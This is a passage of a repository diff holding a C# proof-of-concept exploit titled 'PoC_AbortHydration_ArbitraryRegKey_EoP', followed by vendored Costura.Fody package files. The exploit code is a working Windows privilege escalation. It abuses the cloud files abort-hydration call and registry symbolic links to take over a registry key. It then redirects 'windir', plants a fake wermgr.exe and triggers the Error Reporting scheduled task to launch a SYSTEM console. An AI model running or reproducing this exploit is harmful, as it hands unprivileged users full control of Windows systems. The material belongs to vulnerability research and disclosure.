if (hr < 0)
|
||||||
|
Marshal.ThrowExceptionForHR(hr);
|
||||||
|
return hr;
|
||||||
|
}
|
||||||
|
|
||||||
|
const int MAX_STAGE = 4;
|
||||||
|
|
||||||
|
static void Stage0()
|
||||||
|
{
|
||||||
|
for (int i = 1; i < MAX_STAGE; ++i)
|
||||||
|
{
|
||||||
|
Win32ProcessConfig config = new Win32ProcessConfig
|
||||||
|
{
|
||||||
|
CommandLine = $"run {i}",
|
||||||
|
ApplicationName = typeof(Program).Assembly.Location,
|
||||||
|
TerminateOnDispose = true
|
||||||
|
};
|
||||||
|
|
||||||
|
using (var p = Win32Process.CreateProcess(config))
|
||||||
|
{
|
||||||
|
if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS)
|
||||||
|
{
|
||||||
|
throw new ArgumentException($"Failed to run stage {i}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void Stage1(bool root_key)
|
||||||
|
{
|
||||||
|
Thread check_key_th = new Thread(CheckKeyThread);
|
||||||
|
check_key_th.IsBackground = true;
|
||||||
|
check_key_th.Start(root_key);
|
||||||
|
Thread.Sleep(1000);
|
||||||
|
|
||||||
|
var th = NtThread.OpenCurrent();
|
||||||
|
var anon_thread = new Thread(ForceTokenThread)
|
||||||
|
{
|
||||||
|
IsBackground = true
|
||||||
|
};
|
||||||
|
anon_thread.Start(th);
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
CfAbortOperation(NtProcess.Current.ProcessId,
|
||||||
|
IntPtr.Zero, AbortHydrationFlags.Block);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void Stage2()
|
||||||
|
{
|
||||||
|
using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys))
|
||||||
|
{
|
||||||
|
SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
|
||||||
|
DeleteRegistryTree(key);
|
||||||
|
}
|
||||||
|
|
||||||
|
NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY);
|
||||||
|
Stage1(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void Stage3()
|
||||||
|
{
|
||||||
|
using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete))
|
||||||
|
{
|
||||||
|
Console.WriteLine("Cleaning up link {0}", key.FullPath);
|
||||||
|
key.Delete();
|
||||||
|
}
|
||||||
|
|
||||||
|
using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner))
|
||||||
|
{
|
||||||
|
SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
|
||||||
|
}
|
||||||
|
var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl);
|
||||||
|
foreach(var subkey in key2.GetSubKeyNames())
|
||||||
|
{
|
||||||
|
var fullsubkey = TARGET_KEY + @"\" + subkey;
|
||||||
|
Console.WriteLine("Cleaning up subkey {0}", fullsubkey);
|
||||||
|
NtKey _subkey;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
_subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
|
||||||
|
_subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac);
|
||||||
|
}
|
||||||
|
SetSecurityDescriptor(_subkey, SecurityInformation.Dacl);
|
||||||
|
_subkey.Close();
|
||||||
|
_subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete);
|
||||||
|
_subkey.Delete();
|
||||||
|
_subkey.Close();
|
||||||
|
}
|
||||||
|
|
||||||
|
key2.Close();
|
||||||
|
using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue))
|
||||||
|
{
|
||||||
|
ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName));
|
||||||
|
}
|
||||||
|
|
||||||
|
string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32";
|
||||||
|
Directory.CreateDirectory(fakesys32);
|
||||||
|
string fakewer = fakesys32 + @"\wermgr.exe";
|
||||||
|
File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true);
|
||||||
|
|
||||||
|
var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe");
|
||||||
|
System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync();
|
||||||
|
|
||||||
|
using (TaskService tasksvc = new TaskService())
|
||||||
|
{
|
||||||
|
Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting");
|
||||||
|
wertask.Run();
|
||||||
|
wertask.Dispose();
|
||||||
|
}
|
||||||
|
if(!pipewait.Wait(2000))
|
||||||
|
{
|
||||||
|
Console.WriteLine("Exploit failed.");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("Exploit succeeded.");
|
||||||
|
}
|
||||||
|
srvnamedpipe.Dispose();
|
||||||
|
Thread.Sleep(1000);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File.Delete(fakewer);
|
||||||
|
Directory.Delete(fakesys32);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{ }
|
||||||
|
using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete))
|
||||||
|
{
|
||||||
|
ntarget.Delete(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId);
|
||||||
|
|
||||||
|
static void Main(string[] args)
|
||||||
|
{
|
||||||
|
bool isSystem;
|
||||||
|
using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent())
|
||||||
|
{
|
||||||
|
isSystem = identity.IsSystem;
|
||||||
|
}
|
||||||
|
if (isSystem)
|
||||||
|
{
|
||||||
|
Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process);
|
||||||
|
var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe");
|
||||||
|
namedpipeclient.Connect();
|
||||||
|
UInt32 nSesID;
|
||||||
|
IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle();
|
||||||
|
if (!GetNamedPipeServerSessionId(hPipe, out nSesID))
|
||||||
|
return;
|
||||||
|
namedpipeclient.Dispose();
|
||||||
|
NtToken token = NtToken.OpenEffectiveToken();
|
||||||
|
NtToken token2 = token.DuplicateToken();
|
||||||
|
token.Dispose();
|
||||||
|
token = token2;
|
||||||
|
token.SetSessionId(((int)nSesID));
|
||||||
|
Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null);
|
||||||
|
return;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check();
|
||||||
|
|
||||||
|
if (args.Length <= 1)
|
||||||
|
{
|
||||||
|
int stage = args.Length > 0 ? int.Parse(args[0]) : 0;
|
||||||
|
switch (stage)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
Stage0();
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
Stage1(true);
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
Stage2();
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
Stage3();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new ArgumentException("Erm?");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null))
|
||||||
|
{
|
||||||
|
using (var imp = token.Impersonate())
|
||||||
|
{
|
||||||
|
CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,36 @@
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
// General Information about an assembly is controlled through the following
|
||||||
|
// set of attributes. Change these attribute values to modify the information
|
||||||
|
// associated with an assembly.
|
||||||
|
[assembly: AssemblyTitle("PoC_AbortHydration_ArbitraryRegKey_EoP")]
|
||||||
|
[assembly: AssemblyDescription("")]
|
||||||
|
[assembly: AssemblyConfiguration("")]
|
||||||
|
[assembly: AssemblyCompany("")]
|
||||||
|
[assembly: AssemblyProduct("PoC_AbortHydration_ArbitraryRegKey_EoP")]
|
||||||
|
[assembly: AssemblyCopyright("Copyright © 2020")]
|
||||||
|
[assembly: AssemblyTrademark("")]
|
||||||
|
[assembly: AssemblyCulture("")]
|
||||||
|
|
||||||
|
// Setting ComVisible to false makes the types in this assembly not visible
|
||||||
|
// to COM components. If you need to access a type in this assembly from
|
||||||
|
// COM, set the ComVisible attribute to true on that type.
|
||||||
|
[assembly: ComVisible(false)]
|
||||||
|
|
||||||
|
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||||
|
[assembly: Guid("352f6dd7-9b05-4896-9e7d-2efa36eac6e3")]
|
||||||
|
|
||||||
|
// Version information for an assembly consists of the following four values:
|
||||||
|
//
|
||||||
|
// Major Version
|
||||||
|
// Minor Version
|
||||||
|
// Build Number
|
||||||
|
// Revision
|
||||||
|
//
|
||||||
|
// You can specify all the values or you can default the Build and Revision Numbers
|
||||||
|
// by using the '*' as shown below:
|
||||||
|
// [assembly: AssemblyVersion("1.0.*")]
|
||||||
|
[assembly: AssemblyVersion("1.0.0.0")]
|
||||||
|
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||||
7
PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config
Normal file
7
PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config
Normal file
|
|
@ -0,0 +1,7 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<packages>
|
||||||
|
<package id="Costura.Fody" version="6.2.0" targetFramework="net472" developmentDependency="true" />
|
||||||
|
<package id="Fody" version="6.9.3" targetFramework="net472" developmentDependency="true" />
|
||||||
|
<package id="NtApiDotNet" version="1.1.33" targetFramework="net481" />
|
||||||
|
<package id="TaskScheduler" version="2.12.2" targetFramework="net481" />
|
||||||
|
</packages>
|
||||||
BIN
packages/Costura.Fody.6.2.0/.signature.p7s
vendored
Normal file
BIN
packages/Costura.Fody.6.2.0/.signature.p7s
vendored
Normal file
Binary file not shown.
BIN
packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg
vendored
Normal file
BIN
packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg
vendored
Normal file
Binary file not shown.
15
packages/Costura.Fody.6.2.0/build/Costura.Fody.props
vendored
Normal file
15
packages/Costura.Fody.6.2.0/build/Costura.Fody.props
vendored
Normal file
|
|
@ -0,0 +1,15 @@
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
|
||||||
|
<PropertyGroup>
|
||||||
|
<WeaverRuntimeToken
|
||||||
|
Condition="$(MSBuildRuntimeType) != 'Core'">netclassicweaver</WeaverRuntimeToken>
|
||||||
|
<WeaverRuntimeToken
|
||||||
|
Condition="$(MSBuildRuntimeType) == 'Core'">netstandardweaver</WeaverRuntimeToken>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<WeaverFiles
|
||||||
|
Include="$(MsBuildThisFileDirectory)..\$(WeaverRuntimeToken)\$(MSBuildThisFileName).dll" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
</Project>
|
||||||
13
packages/Costura.Fody.6.2.0/build/Costura.Fody.targets
vendored
Normal file
13
packages/Costura.Fody.6.2.0/build/Costura.Fody.targets
vendored
Normal file
|
|
@ -0,0 +1,13 @@
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
|
||||||
|
<PropertyGroup Condition="$(CosturaRemoveCopyLocalFilesToPublish) == ''">
|
||||||
|
<CosturaRemoveCopyLocalFilesToPublish>true</CosturaRemoveCopyLocalFilesToPublish>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Target Name="CosturaRemoveAlreadyEmbeddedFilesFromPublish" AfterTargets="ComputeResolvedFilesToPublishList" Condition="$(CosturaRemoveCopyLocalFilesToPublish) == 'true'">
|
||||||
|
<ItemGroup>
|
||||||
|
<ResolvedFileToPublish Remove="@(FodyRemovedReferenceCopyLocalPaths)" />
|
||||||
|
</ItemGroup>
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
</Project>
|
||||||
BIN
packages/Costura.Fody.6.2.0/icon.png
vendored
Normal file
BIN
packages/Costura.Fody.6.2.0/icon.png
vendored
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
BIN
packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll
vendored
Normal file
BIN
packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb
vendored
Normal file
BIN
packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb
vendored
Normal file
Binary file not shown.
23
packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.xml
vendored
Normal file
23
packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.xml
vendored
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<doc>
|
||||||
|
<assembly>
|
||||||
|
<name>Costura</name>
|
||||||
|
</assembly>
|
||||||
|
<members>
|
||||||
|
<member name="T:MethodTimeLogger">
|
||||||
|
<summary>
|
||||||
|
Note: do not rename this class or put it inside a namespace.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:CosturaUtility">
|
||||||
|
<summary>
|
||||||
|
Contains methods for interacting with the Costura system.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:CosturaUtility.Initialize">
|
||||||
|
<summary>
|
||||||
|
Call this to Initialize the Costura system.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
</members>
|
||||||
|
</doc>
|
||||||
BIN
packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll
vendored
Normal file
BIN
packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll
vendored
Normal file
Binary file not shown.
160
packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf
vendored
Normal file
160
packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf
vendored
Normal file
|
|
@ -0,0 +1,160 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8" ?>
|
||||||
|
<xs:complexType xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||||
|
<xs:all>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimes" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimes" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
</xs:all>
|
||||||
|
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableEventSubscription" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
</xs:complexType>
|
||||||
BIN
packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll
vendored
Normal file
BIN
packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll
vendored
Normal file
Binary file not shown.
160
packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf
vendored
Normal file
160
packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf
vendored
Normal file
|
|
@ -0,0 +1,160 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8" ?>
|
||||||
|
<xs:complexType xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||||
|
<xs:all>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimes" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimes" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
</xs:all>
|
||||||
|
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||||
|
</xs:annotation>
|
